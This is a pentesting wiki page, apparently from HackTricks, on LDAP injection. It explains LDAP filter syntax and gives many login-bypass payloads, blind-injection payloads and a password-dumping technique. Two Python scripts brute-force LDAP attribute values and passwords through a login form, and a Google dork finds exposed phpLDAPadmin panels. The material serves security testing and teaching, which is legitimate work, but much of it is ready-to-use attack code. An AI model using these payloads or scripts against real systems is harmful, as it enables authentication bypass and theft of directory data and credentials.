# LDAP Injection ## LDAP Injection

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\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## LDAP Injection ### **LDAP** **If you want to know what is LDAP access the following page:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} **LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation. {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} **Filter** = ( filtercomp )\ **Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ **Filterlist** = 1\*filter\ **Item**= simple / present / substring\ **Simple** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Present** = attr = \*\ **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ **(&)** = Absolute TRUE\ **(|)** = Absolute FALSE For example:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` You can access to the database, and this can content information of a lot of different types. **OpenLDAP**: If 2 filters arrive, only executes the first one.\ **ADAM or Microsoft LDS**: With 2 filters they throw an error.\ **SunOne Directory Server 5.0**: Execute both filters. **It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.** The filter has to start with: `&` or `|`\ Example: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). ### Login Bypass LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed. ```bash user=* password=* --> (&(user=*)(password=*)) # The asterisks are great in LDAPi ``` ```bash user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&)) ``` ```bash user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd)) ``` ```bash user=*)(|(password=* password=test) --> (&(user=*)(|(password=*)(password=test)) ``` ```bash user=*))%00 pass=any --> (&(user=*))%00 --> Nothing more is executed ``` ```bash user=admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd) #Can through an error ``` ```bash username = admin)(!(&(| pass = any)) --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. ``` ```bash username=* password=*)(& --> (&(user=*)(password=*)(&)) ``` ```bash username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` #### Lists * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Blind LDAP Injection You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) ``` ```bash #This will result on True, so no information will be returned or shown Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` #### Dump data You can iterate over the ascii letters, digits and symbols: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=B*)) : KO ... (&(sn=administrator)(password=M*)) : OK (&(sn=administrator)(password=MA*)) : KO (&(sn=administrator)(password=MB*)) : KO ... ``` ### Scripts #### **Discover valid LDAP fields** LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). ```python #!/usr/bin/python3 import requests import string from time import sleep import sys proxy = { "http": "localhost:8080" } url = "http://10.10.10.10/login.php" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes value = "" finish = False while not finish: for char in alphabet: #In each possition test each possible printable char query = f"*)({attribute}={value}{char}*" data = {'login':query, 'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}") #sleep(0.5) #Avoid brute-force bans if "Cannot login" in r.text: value += str(char) break if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value finish = True print() ``` #### **Special Blind LDAP Injection (without "\*")** ```python #!/usr/bin/python3 import requests, string alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): print("[i] Looking for number " + str(i)) for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) if ("TRUE CONDITION" in r.text): flag += char print("[+] Flag: " + flag) break ``` ### Google Dorks ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` ### More Payloads {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

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